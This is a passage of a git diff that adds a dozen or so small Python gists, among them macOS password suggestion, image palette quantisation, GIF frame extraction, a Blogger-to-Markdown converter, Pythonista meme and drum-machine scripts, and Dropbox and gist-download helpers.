+    for x in language_list:
+        langs.addObject_(NSString.stringWithString_(x))
+    # The True argument is for whether the language string objects are already retained
+    SFPWAContextLoadDictionaries(context_ref, langs, True)
+
+def password_suggest(length=8, count=1, alg=None, langs=None, policy=None):
+    # The default algorithm is 'memorable' which has issues at lengths beyond 32 characters, FYI
+    # This will return at a max PASS_MAX_REQUEST (15) passwords at a time
+    if langs is None:
+        langs = [password_suggested_language()]
+    else:
+        available_langs = password_languages()
+        for x in langs:
+            if x not in available_langs:
+                raise Exception('Error: unavailable language')
+    if alg is None:
+        alg = algorithm['memorable']
+    else:
+        alg = algorithm.get(alg, None)
+        if alg is None:
+            raise Exception('Error: unavailable algorithm')
+    if policy is None:
+        policy = SFPWAPolicyCopyDefault()
+        context = SFPWAContextCreateWithDefaults()
+    else:
+        context = SFPWAContextCreate()
+    SFPWAPolicyParse(context, policy)
+    # Language dictionaries are used for memorable-style passwords
+    load_dictionaries(context, langs)
+    pass_length = max(min(PASS_MAX_LENGTH, length), PASS_MIN_LENGTH)
+    pass_count  = max(min(PASS_MAX_REQUEST, count), 1)
+    # The 0 argument is a null argument for callbacks
+    return SFPWAPasswordSuggest(context, policy, pass_length, 0, pass_count, alg)
+
+def password_evaluate(password, policy=None, langs=None):
+    # Check out the return results of SFPWAPolicyCopyDefault() which is just a dict
+    # You can build your own dict with customized rules
+    # A key not present in the default policy is 'CharacterSetString' which can be
+    # set to contain the legal characters allowed by the password policy
+    # You can set it like: 
+    #  policy = SFPWAPolicyCopyDefault()
+    #  policy.update(CharacterSetString="abc123")
+    if langs is None:
+        langs = [password_suggested_language()]
+    else:
+        available_langs = password_languages()
+        for x in langs:
+            if x not in available_langs:
+                raise Exception('Error: unavailable language')
+    if policy is None:
+        policy = SFPWAPolicyCopyDefault()
+        context = SFPWAContextCreateWithDefaults()
+    else:
+        context = SFPWAContextCreate()
+    SFPWAPolicyParse(context, policy)
+    load_dictionaries(context, langs)
+    # The 0 argument is a null argument for callbacks
+    return SFPWAPasswordEvaluator(context, password, 0, policy)
diff --git a/hard-gists/4004895/._snippet.py b/hard-gists/4004895/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4004895/._snippet.py differ
diff --git a/hard-gists/4004895/snippet.py b/hard-gists/4004895/snippet.py
new file mode 100644
index 00000000..121fedcc
--- /dev/null
+++ b/hard-gists/4004895/snippet.py
@@ -0,0 +1,54 @@
+import sys
+import numpy as np
+import scipy.ndimage as nd
+from scipy.cluster.vq import vq
+from scipy.misc import imsave
+
+def crayola_9():
+    """
+    Palette of the first 8 crayola colors + white
+    """
+    palette = []
+    palette.append([0,0,0])
+    palette.append([31, 117, 254])
+    palette.append([180, 103, 77])
+    palette.append([28, 172, 120])
+    palette.append([255, 117, 56])
+    palette.append([238, 32 ,77 ])
+    palette.append([146, 110, 174])
+    palette.append([252, 232, 131])
+    palette.append([255, 255, 255])
+    return np.array(palette)  
+  
+def quantize(fname, palette):
+    """
+    quantize an image with a given color palette
+    """
+    
+    # read image and resize
+    img = nd.imread(fname)
+    
+    # reshape to array of points
+    pixels = np.reshape(img, (img.shape[0] * img.shape[1], 3))
+    
+    # quantize
+    qnt, _ = vq(pixels, palette)
+    
+    # reshape back to image
+    centers_idx = np.reshape(qnt, (img.shape[0], img.shape[1])) 
+    clustered = palette[centers_idx]
+    
+    # return quantized image and histogram
+    return clustered
+
+if __name__ == '__main__':
+
+    # get filename
+    fname = sys.argv[1]
+    
+    # quantize single file
+    result = quantize(fname, crayola_9())
+    
+    # save resulting image
+    imsave('output.png', result)
+  
\ No newline at end of file
diff --git a/hard-gists/4008567/._snippet.py b/hard-gists/4008567/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4008567/._snippet.py differ
diff --git a/hard-gists/4008567/snippet.py b/hard-gists/4008567/snippet.py
new file mode 100644
index 00000000..deb19601
--- /dev/null
+++ b/hard-gists/4008567/snippet.py
@@ -0,0 +1,16 @@
+from urlparse import urlsplit, urlunsplit
+
+from storages.backends.s3boto import S3BotoStorage
+
+
+class ProtocolRelativeS3BotoStorage(S3BotoStorage):
+    """Extends S3BotoStorage to return protocol-relative URLs
+
+    See: http://paulirish.com/2010/the-protocol-relative-url/
+    """
+    def url(self, name):
+        """Modifies return URLs to be protocol-relative."""
+        url = super(ProtocolRelativeS3BotoStorage, self).url(name)
+        parts = list(urlsplit(url))
+        parts[0] = ''
+        return urlunsplit(parts)
diff --git a/hard-gists/4016539/._snippet.py b/hard-gists/4016539/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4016539/._snippet.py differ
diff --git a/hard-gists/4016539/snippet.py b/hard-gists/4016539/snippet.py
new file mode 100644
index 00000000..c2bbadbc
--- /dev/null
+++ b/hard-gists/4016539/snippet.py
@@ -0,0 +1,102 @@
+import os
+from PIL import Image
+
+
+'''
+I searched high and low for solutions to the "extract animated GIF frames in Python"
+problem, and after much trial and error came up with the following solution based
+on several partial examples around the web (mostly Stack Overflow).
+
+There are two pitfalls that aren't often mentioned when dealing with animated GIFs -
+firstly that some files feature per-frame local palettes while some have one global
+palette for all frames, and secondly that some GIFs replace the entire image with
+each new frame ('full' mode in the code below), and some only update a specific
+region ('partial').
+
+This code deals with both those cases by examining the palette and redraw
+instructions of each frame. In the latter case this requires a preliminary (usually
+partial) iteration of the frames before processing, since the redraw mode needs to
+be consistently applied across all frames. I found a couple of examples of
+partial-mode GIFs containing the occasional full-frame redraw, which would result
+in bad renders of those frames if the mode assessment was only done on a
+single-frame basis.
+
+Nov 2012
+'''
+
+
+def analyseImage(path):
+    '''
+    Pre-process pass over the image to determine the mode (full or additive).
+    Necessary as assessing single frames isn't reliable. Need to know the mode 
+    before processing all frames.
+    '''
+    im = Image.open(path)
+    results = {
+        'size': im.size,
+        'mode': 'full',
+    }
+    try:
+        while True:
+            if im.tile:
+                tile = im.tile[0]
+                update_region = tile[1]
+                update_region_dimensions = update_region[2:]
+                if update_region_dimensions != im.size:
+                    results['mode'] = 'partial'
+                    break
+            im.seek(im.tell() + 1)
+    except EOFError:
+        pass
+    return results
+
+
+def processImage(path):
+    '''
+    Iterate the GIF, extracting each frame.
+    '''
+    mode = analyseImage(path)['mode']
+    
+    im = Image.open(path)
+
+    i = 0
+    p = im.getpalette()
+    last_frame = im.convert('RGBA')
+    
+    try:
+        while True:
+            print "saving %s (%s) frame %d, %s %s" % (path, mode, i, im.size, im.tile)
+            
+            '''
+            If the GIF uses local colour tables, each frame will have its own palette.
+            If not, we need to apply the global palette to the new frame.
+            '''
+            if not im.getpalette():
+                im.putpalette(p)
+            
+            new_frame = Image.new('RGBA', im.size)
+            
+            '''
+            Is this file a "partial"-mode GIF where frames update a region of a different size to the entire image?
+            If so, we need to construct the new frame by pasting it on top of the preceding frames.
+            '''
+            if mode == 'partial':
+                new_frame.paste(last_frame)
+            
+            new_frame.paste(im, (0,0), im.convert('RGBA'))
+            new_frame.save('%s-%d.png' % (''.join(os.path.basename(path).split('.')[:-1]), i), 'PNG')
+
+            i += 1
+            last_frame = new_frame
+            im.seek(im.tell() + 1)
+    except EOFError:
+        pass
+
+
+def main():
+    processImage('foo.gif')
+    processImage('bar.gif')
+    
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/4017989/._snippet.py b/hard-gists/4017989/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4017989/._snippet.py differ
diff --git a/hard-gists/4017989/snippet.py b/hard-gists/4017989/snippet.py
new file mode 100644
index 00000000..8b7267d5
--- /dev/null
+++ b/hard-gists/4017989/snippet.py
@@ -0,0 +1,55 @@
+#! /usr/bin/env python
+
+import scipy.io as sio
+import matplotlib.pyplot as plt
+
+class BadSeriesError(Exception): pass
+
+class MatRwl(object):
+    """ Read MATLAB files from Meko's RWL Velmex script.
+    """
+    # self._series["series_id"][:,0] gives years.
+    # self._series["series_id"][:,1] gives measurements.
+    def __init__(self, fl):
+       d_raw = sio.loadmat(fl)
+       self._series = dict()
+       series_id = d_raw["XT"]["id"][0][0][0]
+       series_data = d_raw["XT"]["data"][0][0][0]
+       if len(series_id) != len(series_data):
+           raise BadSeriesError, "Series names and series data have different lengths"
+       for i in xrange(len(d_id)):
+           self._series[series_id[i][0]] = series_data[i]
+
+    def getSeries(self, series_name):
+        """ Return a numpy array with values and observation year for a series.
+        """
+        return(self._series[series_name])
+
+    def getSeriesYears(self, series_name):
+        """ Return array of observation years for a named ring-width series.
+        """
+        return(self._series[series_name][:, 0])
+
+    def getSeriesValues(self, series_name):
+        """ Return array of measurement values for a named ring-width series.
+        """
+        return(self._series[series_name][:, 1])
+    
+    def getSeriesYearRange(self, series_name):
+        """ Return (min_year, max_year) for a given ring-width series.
+        """
+        return((min(self.getSeriesYears(series_name)),
+            max(self.getSeriesYears(series_name))))
+
+    def getSeriesIds(self):
+        """ Return a list of unicode string series names.
+        """
+        return(self._series.keys())
+    
+    def plotSeries(self, series_name):
+        y = self.getSeriesValues(series_name)
+        x = self.getSeriesYears(series_name)
+        plt.plot(x, y, "k")
+        plt.ylabel("Ring-width index")
+        plt.xlabel("Year")
+        plt.show()
diff --git a/hard-gists/4020619/._snippet.py b/hard-gists/4020619/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4020619/._snippet.py differ
diff --git a/hard-gists/4020619/snippet.py b/hard-gists/4020619/snippet.py
new file mode 100644
index 00000000..ed6e8aa3
--- /dev/null
+++ b/hard-gists/4020619/snippet.py
@@ -0,0 +1,23 @@
+import Foundation
+import objc
+import AppKit
+import sys
+
+NSUserNotification = objc.lookUpClass('NSUserNotification')
+NSUserNotificationCenter = objc.lookUpClass('NSUserNotificationCenter')
+
+def notify(title, subtitle, info_text, delay=0, sound=False, userInfo={}):
+	notification = NSUserNotification.alloc().init()
+	notification.setTitle_(title)
+	notification.setSubtitle_(subtitle)
+	notification.setInformativeText_(info_text)
+	notification.setUserInfo_(userInfo)
+	if sound:
+		notification.setSoundName_("NSUserNotificationDefaultSoundName")
+	notification.setDeliveryDate_(Foundation.NSDate.dateWithTimeInterval_sinceDate_(delay, Foundation.NSDate.date()))
+	NSUserNotificationCenter.defaultUserNotificationCenter().scheduleNotification_(notification)
+
+
+notify("Test message", "Subtitle", "This message should appear instantly, with a sound", sound=True)
+sys.stdout.write("Notification sent...\n")
+
diff --git a/hard-gists/4022537/._snippet.py b/hard-gists/4022537/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4022537/._snippet.py differ
diff --git a/hard-gists/4022537/snippet.py b/hard-gists/4022537/snippet.py
new file mode 100644
index 00000000..9c1a0b04
--- /dev/null
+++ b/hard-gists/4022537/snippet.py
@@ -0,0 +1,167 @@
+#!/usr/bin/python
+
+import os
+import sys
+import argparse
+import iso8601
+import re
+import subprocess
+import logging
+import json
+
+import requests
+from lxml import etree
+from lxml.cssselect import CSSSelector
+from HTMLParser import HTMLParser
+
+namespaces = {
+    'atom': 'http://www.w3.org/2005/Atom',
+    'app': 'http://purl.org/atom/app#',
+    }
+kind_post = 'http://schemas.google.com/blogger/2008/kind#post'
+markdown_api = 'http://fuckyeahmarkdown.com/go/'
+
+def parse_args():
+    p = argparse.ArgumentParser()
+    p.add_argument('--online', '--fuckyeah',
+            action='store_const', const='online', dest='converter')
+    p.add_argument('--pandoc',
+            action='store_const', const='pandoc', dest='converter')
+    p.add_argument('--html2text',
+            action='store_const', const='html2text', dest='converter')
+    p.add_argument('--output-dir', '-d', default='posts')
+    p.add_argument('input')
+    p.set_defaults(converter='pandoc')
+    return p.parse_args()
+
+def markdownify_html2text(html):
+    p = subprocess.Popen(['html2text', '-d', '-b', '0', ],
+        stdin=subprocess.PIPE,
+        stdout=subprocess.PIPE)
+    stdout, stderr = p.communicate(input=html.encode('utf-8'))
+
+    return stdout
+
+def markdownify_pandoc(html):
+    p = subprocess.Popen(['pandoc', '--strict', '--normalize',
+        '-f', 'html', '-t', 'markdown', '-'],
+        stdin=subprocess.PIPE,
+        stdout=subprocess.PIPE)
+    stdout, stderr = p.communicate(input=html.encode('utf-8'))
+
+    return stdout
+
+def markdownify_online(html):
+    r = requests.post(markdown_api,
+            data=dict(html=html))
+    return r.content
+
+def process_entry(entry):
+    kind = entry.xpath(
+            'atom:category[@scheme="http://schemas.google.com/g/2005#kind"]',
+            namespaces=namespaces)[0]
+    if kind.get('term') != kind_post:
+        return
+
+    eid = entry.xpath('atom:id',
+            namespaces=namespaces)[0].text
+
+    title = entry.xpath('atom:title[@type="text"]',
+            namespaces=namespaces)[0]
+    title = title.text.strip().replace('\n', ' ')
+    title = re.sub(' +', ' ', title)
+
+    published = entry.xpath('atom:published', namespaces=namespaces)[0].text
+    published = iso8601.parse_date(published)
+    published = '%s-%s-%s' % (
+            published.year,
+            published.month,
+            published.day)
+
+    tags = entry.xpath(
+            'atom:category[@scheme="http://www.blogger.com/atom/ns#"]',
+            namespaces=namespaces)
+    tags = [ x.get('term') for x in tags ]
+
+    try:
+        href = entry.xpath('atom:link[@rel="alternate" and @type="text/html"]',
+                namespaces=namespaces)[0].get('href')
+    except IndexError:
+        logging.error('no link for id %s' % eid)
+        return
+
+    slug = href.split('/')[-1].replace('.html', '')
+
+    content = entry.xpath('atom:content',
+            namespaces=namespaces)[0].text
+
+    return dict(
+            id=eid,
+            title=title,
+            date=published,
+            tags=tags,
+            href=href,
+            content=content,
+            slug=slug,
+            )
+
+def update_content(entry):
+    '''Blogger performs some odd transformations on <pre> blocks when
+    producing the Atom feed.  Here we replace the content from the XML file
+    by fetching it directly from the <link> specified for the entry.'''
+    logging.info('Updating content from %(href)s' % entry)
+    r = requests.get(entry['href'])
+    doc = etree.fromstring(r.content,
+            parser = etree.HTMLParser())
+    content = CSSSelector('div.entry-content')(doc)[0]
+    entry['content'] = etree.tostring(content)
+
+def write_entry(entry, data, opts):
+    # Write xml data to posts/slug.xml.
+    with open(os.path.join(opts.output_dir, '%s.xml' % data['slug']), 'w') as fd:
+        fd.write(etree.tostring(entry))
+
+    # Write HTML content to posts/slug.html
+    with open(os.path.join(opts.output_dir, '%s.html' % data['slug']), 'w') as fd:
+        fd.write(data['content'].encode('utf-8'))
+
+    if opts.converter == 'online':
+        mdfunc = markdownify_online
+    elif opts.converter == 'pandoc':
+        mdfunc = markdownify_pandoc
+    elif opts.converter == 'html2text':
+        mdfunc = markdownify_html2text
+    else:
+        raise ValueError('Unknown converter (%s)' % opts.converter)
+
+    # Write Markdown to posts/slug.md
+    md = mdfunc(data['content'].encode('utf-8'))
+    with open(os.path.join(opts.output_dir, '%s.md' % data['slug']), 'w') as fd:
+        fd.write('Title: %(title)s\n' % data)
+        fd.write('Date: %(date)s\n' % data)
+        fd.write('Tags: %s\n' % ' '.join(data['tags']))
+        fd.write('\n')
+        fd.write(md)
+
+def main():
+    opts = parse_args()
+
+    logging.basicConfig(level=logging.INFO,
+                    format='%(asctime)s [%(levelname)s] %(name)s: %(message)s',
+                    datefmt='%Y-%m-%d %H:%M:%S')
+
+    with open(opts.input) as fd:
+        logging.info('parsing feed')
+        doc = etree.parse(fd)
+
+    for entry in doc.xpath('//atom:entry', namespaces=namespaces):
+        data = process_entry(entry)
+        if data is None:
+            continue
+
+        update_content(data)
+        write_entry(entry, data, opts)
+
+if __name__ == '__main__':
+    main()
+
diff --git a/hard-gists/4023068/._snippet.py b/hard-gists/4023068/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4023068/._snippet.py differ
diff --git a/hard-gists/4023068/snippet.py b/hard-gists/4023068/snippet.py
new file mode 100644
index 00000000..3e10ebb1
--- /dev/null
+++ b/hard-gists/4023068/snippet.py
@@ -0,0 +1,12 @@
+# https://groups.google.com/forum/?fromgroups=#!topic/celery-users/yIwEogsopEA
+
+from Celery import celery
+
+# instead of loading celeryconfig.py...
+celery = Celery(broker="mongodb://127.0.0.1/avalanche_results", backend="mongodb://127.0.0.1/avalanche_tesults") 
+
+# ** converts dict to args
+res = RandomNumberSource.delay(**{'min': 0, 'max': 10, 'num': 5})
+
+# You should print out 5 random numbers instead of hanging on authentication
+print res.get()
diff --git a/hard-gists/403306854d457c284d02/._snippet.py b/hard-gists/403306854d457c284d02/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/403306854d457c284d02/._snippet.py differ
diff --git a/hard-gists/403306854d457c284d02/snippet.py b/hard-gists/403306854d457c284d02/snippet.py
new file mode 100644
index 00000000..7e4195dd
--- /dev/null
+++ b/hard-gists/403306854d457c284d02/snippet.py
@@ -0,0 +1,56 @@
+#!/usr/bin/env python
+# -*- coding:utf-8 -*-
+
+"""
+GStreamer Tutorial 1: Simple Project
+In this tutorial we will receive an mp3 file from our harddrive, manipulate
+with an equalizer element, and output that to our speakers.
+
+   ------------------------pipeline-------------------------
+   |        |           |                 |                |
+filesrc -> mad -> audioconvert -> equalizer-3bands -> autoaudiosink
+
+"""
+
+import gst
+
+# Create the pipeline for our elements.
+pipeline = gst.Pipeline('pipeline')
+
+# Create the elements for our project.
+audio_source = gst.element_factory_make('filesrc', 'audio_source')
+decode = gst.element_factory_make('mad', 'decode')
+convert = gst.element_factory_make('audioconvert', 'convert')
+equalizer = gst.element_factory_make('equalizer-3bands', 'equalizer')
+audio_sink = gst.element_factory_make('autoaudiosink', 'audio_sink')
+
+# Ensure all elements were created successfully.
+if (not pipeline or not audio_source or not decode or not convert or 
+    not equalizer or not audio_sink):
+    print 'Not all elements could be created.'
+    exit(-1)
+
+# Configure our elements.
+audio_source.set_property('location', 'myfile.mp3')
+equalizer.set_property('band1', -24.0)
+equalizer.set_property('band2', -24.0)
+
+# Add our elements to the pipeline.
+pipeline.add(audio_source, decode, convert, equalizer, audio_sink)
+
+# Link our elements together.
+if (not gst.element_link_many(audio_source, decode, convert, equalizer, audio_sink)):
+    print "Elements could not be linked."
+    exit(-1)
+
+# Set our pipelines state to Playing.
+pipeline.set_state(gst.STATE_PLAYING)
+
+# Wait until error or EOS.
+bus = pipeline.get_bus()
+msg = bus.timed_pop_filtered(gst.CLOCK_TIME_NONE,
+    gst.MESSAGE_ERROR | gst.MESSAGE_EOS)
+print msg
+
+# Free resources.
+pipeline.set_state(gst.STATE_NULL)
\ No newline at end of file
diff --git a/hard-gists/4034426/._snippet.py b/hard-gists/4034426/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4034426/._snippet.py differ
diff --git a/hard-gists/4034426/snippet.py b/hard-gists/4034426/snippet.py
new file mode 100644
index 00000000..0b39c3ad
--- /dev/null
+++ b/hard-gists/4034426/snippet.py
@@ -0,0 +1,59 @@
+# Meme Generator 1
+# Demonstrates how to draw text on images using PIL
+# (Python Imaging Library)
+# 
+# The script loads an image from the clipboard (or uses
+# a default one if the clipboard is empty) and asks for
+# two captions (top and bottom) that are then drawn onto
+# the image.
+
+import Image
+import ImageDraw
+import ImageFont
+import clipboard
+
+def draw_caption(img, text, top=False):
+	draw = ImageDraw.Draw(img)
+	#Find a suitable font size to fill the entire width:
+	w = img.size[0]
+	s = 100
+	while w >= (img.size[0] - 20):
+		font = ImageFont.truetype('HelveticaNeue-CondensedBlack', s)
+		w, h = draw.textsize(text, font=font)
+		s -= 1
+		if s <= 12: break
+	#Draw the text multiple times in black to get the outline:
+	for x in xrange(-3, 4):
+		for y in xrange(-3, 4):
+			draw_y = y if top else img.size[1] - h + y
+			draw.text((10 + x, draw_y), text, font=font, fill='black')
+	#Draw the text once more in white:
+	draw_y = 0 if top else img.size[1] - h
+	draw.text((10, draw_y), text, font=font, fill='white')
+
+def main():
+	print 'Loading image from clipboard...'
+	img = clipboard.get_image()
+	if img is None:
+		print 'No image in clipboard, using default image instead...'
+		img = Image.open('Test_Mandrill')
+	img.show()
+	print 'Enter the top caption (press return for none):'
+	caption_top = unicode(raw_input(), 'utf-8')
+	caption_top = caption_top.upper()
+	if caption_top != '':
+		draw_caption(img, caption_top, top=True)
+	print 'Enter the bottom caption (press return for none):'
+	caption_btm = unicode(raw_input(), 'utf-8')
+	caption_btm = caption_btm.upper()
+	if caption_btm != '':
+		draw_caption(img, caption_btm, top=False)
+	img.show()
+	# If you want to copy the result to the clipboard automatically,
+	# uncomment the following line:
+	#clipboard.set_image(img.convert('RGBA'))
+	# You can also copy an image from the console output or save it
+	# to your camera roll by touching and holding it.
+
+if __name__ == '__main__':
+	main()
diff --git a/hard-gists/4034427/._snippet.py b/hard-gists/4034427/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4034427/._snippet.py differ
diff --git a/hard-gists/4034427/snippet.py b/hard-gists/4034427/snippet.py
new file mode 100644
index 00000000..6afc8b81
--- /dev/null
+++ b/hard-gists/4034427/snippet.py
@@ -0,0 +1,58 @@
+import Image
+import ImageChops
+import ImageDraw
+import ImageFont
+import ImageFilter
+import clipboard
+
+def draw_caption(img, text, outline=2, top=False):
+	text_img = Image.new('RGBA', img.size, (0, 0, 0, 0))
+	draw = ImageDraw.Draw(text_img)
+	w = img.size[0]
+	s = 100
+	while w >= (img.size[0] - 20):
+		font = ImageFont.truetype('HelveticaNeue-CondensedBlack', s)
+		w, h = draw.textsize(text, font=font)
+		s -= 1
+		if s <= 12: break
+	text_y = 0 if top else img.size[1] - h
+	draw.text((10, text_y), text, font=font, fill='black')
+	kernel = [0, 1, 2, 1, 0,
+	          1, 2, 4, 2, 1,
+	          2, 4, 0, 4, 1,
+	          1, 2, 4, 2, 1,
+	          0, 1, 2, 1, 0]
+	myfilter = ImageFilter.Kernel((5, 5), kernel, scale = 0.25 * sum(kernel))
+	for i in xrange(outline):
+		print 'Processing image... ' + str(int(float(i)/outline * 100)) + '%'
+		text_img = text_img.filter(myfilter)
+	print 'Processing done.'
+	draw = ImageDraw.Draw(text_img)
+	draw.text((10, text_y), text, font = font, fill = 'white')
+	mask_img = ImageChops.invert(text_img)
+	result_img = Image.composite(img, text_img, mask_img)
+	return result_img
+
+if __name__ == '__main__':
+	print 'Loading image from clipboard...'
+	img = clipboard.get_image()
+	if img is None:
+		print 'No image in clipboard, using default image instead...'
+		img = Image.open('Test_Mandrill')
+	img.show()
+	print 'Enter the top caption (press return for none):'
+	caption_top = unicode(raw_input(), 'utf-8')
+	caption_top = caption_top.upper()
+	if caption_top != '':
+		img = draw_caption(img, caption_top, outline=3, top=True)
+	print 'Enter the bottom caption (press return for none):'
+	caption_btm = unicode(raw_input(), 'utf-8')
+	caption_btm = caption_btm.upper()
+	if caption_btm != '':
+		img = draw_caption(img, caption_btm, outline=3, top=False)
+	img.show()
+	# If you want to copy the result to the clipboard automatically,
+	# uncomment the following line:
+	#clipboard.set_image(img.convert('RGBA'))
+	# You can also copy an image from the console output or save it
+	# to your camera roll by touching and holding it.
diff --git a/hard-gists/4034439/._snippet.py b/hard-gists/4034439/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4034439/._snippet.py differ
diff --git a/hard-gists/4034439/snippet.py b/hard-gists/4034439/snippet.py
new file mode 100644
index 00000000..a5728d6c
--- /dev/null
+++ b/hard-gists/4034439/snippet.py
@@ -0,0 +1,63 @@
+#TODO: Adjust size to screen size (iPhone)
+#TODO: Clear (and random, play/pause?) buttons
+
+from scene import *
+from sound import play_effect, set_volume, load_effect
+from colorsys import hsv_to_rgb
+import pickle
+
+class DrumMachine (Scene):
+	def setup(self):
+		self.beat = 0.0
+		set_volume(1.0)
+		
+		self.sounds = ['Drums_01', 'Drums_02', 'Drums_03', 'Drums_06',
+		               'Drums_10', 'Drums_11', 'Drums_11', 'Drums_15']
+		for effect in self.sounds:
+			load_effect(effect)
+			
+		try:
+			with open('Drums.data', 'r') as f:
+				self.grid = pickle.load(f)
+		except EOFError:
+			self.grid = [[False for col in xrange(16)] for row in xrange(8)]
+		
+	def draw(self):
+		background(0, 0, 0)
+		last_beat = int(self.beat)
+		self.beat += 1.0/7.5
+		self.beat %= 16
+		play = int(self.beat) != last_beat
+		for y in xrange(16):
+			beat_row = int(self.beat) == y
+			for x in xrange(8):
+				if self.grid[x][y]:
+					h = x / 8.0
+					r, g, b = hsv_to_rgb(h, 1, 1)
+					if play and int(self.beat) == y:
+						play_effect(self.sounds[x])
+					if beat_row:
+						h = x / 8.0
+						r, g, b = hsv_to_rgb(h, 1, 1)
+						fill(r, g, b)
+					else:
+						r, g, b = hsv_to_rgb(h, 1, 0.5)
+						fill(r, g, b)
+				elif beat_row:
+					fill(1, 1, 1)
+				else:
+					fill(0.50, 0.50, 0.50)
+				rect(x * 96, y * 61, 95, 60)
+	
+	def touch_began(self, touch):
+		x, y = touch.location.as_tuple()
+		x = int(x / 96)
+		y = int(y / 61)
+		if y < 16:
+			self.grid[x][y] = not self.grid[x][y]
+	
+	def stop(self):
+		with open('Drums.data', 'w') as f:
+			pickle.dump(self.grid, f)
+	
+run(DrumMachine(), PORTRAIT)
diff --git a/hard-gists/4034526/._snippet.py b/hard-gists/4034526/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4034526/._snippet.py differ
diff --git a/hard-gists/4034526/snippet.py b/hard-gists/4034526/snippet.py
new file mode 100644
index 00000000..7dd02a12
--- /dev/null
+++ b/hard-gists/4034526/snippet.py
@@ -0,0 +1,55 @@
+# YOU NEED TO INSERT YOUR APP KEY AND SECRET BELOW!
+# Go to dropbox.com/developers/apps to create an app.
+
+app_key = 'YOUR_APP_KEY'
+app_secret = 'YOUR_APP_SECRET'
+
+# access_type can be 'app_folder' or 'dropbox', depending on
+# how you registered your app.
+access_type = 'app_folder'
+
+import webbrowser
+from dropbox import client, rest, session
+import keychain
+import pickle
+import console
+
+def get_request_token():
+	console.clear()
+	print 'Getting request token...'	
+	sess = session.DropboxSession(app_key, app_secret, access_type)
+	request_token = sess.obtain_request_token()
+	url = sess.build_authorize_url(request_token)
+	console.clear()
+	webbrowser.open(url, modal=True)
+	return request_token
+
+def get_access_token():
+	token_str = keychain.get_password('dropbox', app_key)
+	if token_str:
+		key, secret = pickle.loads(token_str)
+		return session.OAuthToken(key, secret)
+	request_token = get_request_token()
+	sess = session.DropboxSession(app_key, app_secret, access_type)
+	access_token = sess.obtain_access_token(request_token)
+	token_str = pickle.dumps((access_token.key, access_token.secret))
+	keychain.set_password('dropbox', app_key, token_str)
+	return access_token
+
+def get_client():
+	access_token = get_access_token()
+	sess = session.DropboxSession(app_key, app_secret, access_type)
+	sess.set_token(access_token.key, access_token.secret)
+	dropbox_client = client.DropboxClient(sess)
+	return dropbox_client
+
+def main():
+	# Demo if started run as a script...
+	# Just print the account info to verify that the authentication worked:
+	print 'Getting account info...'
+	dropbox_client = get_client()
+	account_info = dropbox_client.account_info()
+	print 'linked account:', account_info
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/4036200/._snippet.py b/hard-gists/4036200/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4036200/._snippet.py differ
diff --git a/hard-gists/4036200/snippet.py b/hard-gists/4036200/snippet.py
new file mode 100644
index 00000000..18af592c
--- /dev/null
+++ b/hard-gists/4036200/snippet.py
@@ -0,0 +1,80 @@
+# This script downloads and opens a Gist from a URL in the clipboard.
+# It's meant to be put in the editor's actions menu.
+#
+# It works with "raw" and "web" gist URLs, but not with non-Python files.
+# 
+# If a file already exists, a dialog is shown that asks whether the
+# new file should be renamed automatically.
+
+import clipboard
+import editor
+import console
+import re
+import os
+
+class InvalidGistURLError (Exception): pass
+class NoFilesInGistError (Exception): pass
+class GistDownloadError (Exception): pass
+
+def download_gist(gist_url):
+	# Returns a 2-tuple of filename and content
+	# console.show_activity()
+	raw_match = re.match('http(s?)://raw.github.com/gist/', gist_url)
+	if raw_match:
+		import requests
+		from urlparse import urlparse
+		filename = os.path.split(urlparse(gist_url).path)[1]
+		try:
+			r = requests.get(gist_url)
+			content = r.text
+			yield filename, content
+		except:
+			raise GistDownloadError()
+	else:
+		gist_id_match = re.match('http(s?)://gist.github.com/([0-9a-f]*)', gist_url)
+		if gist_id_match:
+			import requests
+			gist_id = gist_id_match.group(2)
+			json_url = 'https://api.github.com/gists/' + gist_id
+			try:
+				import json
+				gist_json = requests.get(json_url).text
+				gist_info = json.loads(gist_json)
+				files = gist_info['files']
+			except:
+				raise GistDownloadError()
+			for file_info in files.values():
+				lang =  file_info.get('language', None)
+				if lang != 'Python':
+					continue 
+				filename = file_info['filename']
+				content = file_info['content']
+				yield filename, content
+		else:
+			raise InvalidGistURLError()
+
+def main():
+	gist_url = clipboard.get()
+	num = 0
+	try:
+		for num, (filename, content) in enumerate(download_gist(gist_url), start=1):
+			if os.path.isfile(filename):
+				i = console.alert('File exists', 'A file with the name ' + filename + 
+			                      ' already exists in your library.',
+			                      'Auto Rename', 'Skip')
+				if i == 1:
+					editor.make_new_file(filename, content)
+			else:
+				editor.make_new_file(filename, content)
+	except InvalidGistURLError:
+		console.alert('No Gist URL',
+		              'The clipboard doesn\'t seem to contain a valid Gist URL.',
+		              'OK')
+	except GistDownloadError:
+		console.alert('Error', 'The Gist could not be downloaded.')
+	if not num:
+		console.alert('No Python Files', 'This Gist contains no Python files.')
+		
+if __name__ == '__main__':
+	main()
+
diff --git a/hard-gists/4043086/._snippet.py b/hard-gists/4043086/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4043086/._snippet.py differ
diff --git a/hard-gists/4043086/snippet.py b/hard-gists/4043086/snippet.py
new file mode 100644
index 00000000..9d21c681
--- /dev/null
+++ b/hard-gists/4043086/snippet.py
@@ -0,0 +1,84 @@
